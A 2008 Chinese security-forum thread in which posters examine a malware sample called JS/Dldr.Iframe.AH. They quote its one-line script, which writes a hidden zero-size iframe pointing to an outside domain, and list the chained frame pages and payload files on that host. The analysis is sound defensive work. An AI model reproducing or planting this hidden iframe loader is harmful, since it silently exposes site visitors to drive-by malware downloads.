JS/Dldr.Iframe.AH

显示全部楼层 · 发表于 2008-1-30 22:08:56

楼主的压缩包其实就是一个htm改后缀得来了。

显示全部楼层 · 发表于 2008-1-30 22:35:42

报iframe，晕

下载样本后，用记事本打开。

文件里就只有一句：
document.writeln("<iframe src=\"http://js.k0102.com/a11.htm\" width=0 height=0><\/iframe>")

http://js.k0102.com/a10.htm
[frame]\"a1.htm\"  http://js.k0102.com/data.gif
[frame]\"a2.htm\"  http://js.k0102.com/a1.jpg http://js.k0102.com/a2.jpg
[frame]\"a4.htm\"  http://js.k0102.com/data.gif
[frame]\"a5.htm\"  刷新空白页
[frame]\"a6.htm\"  http://js.k0102.com/data.gif
[frame]\"a7.htm\"  找不到网页
[frame]\"a8.htm\"  找不到网页
[frame]\"a9.htm\"

[frame]\"a10.htm\"

[frame]\"jsr.htm\" http://js.k0102.com/data.gif

都是那个：http://js.k0102.com/data.gif

[ 本帖最后由 rappar 于 2008-1-30 22:41 编辑 ]

[病毒样本] JS/Dldr.Iframe.AH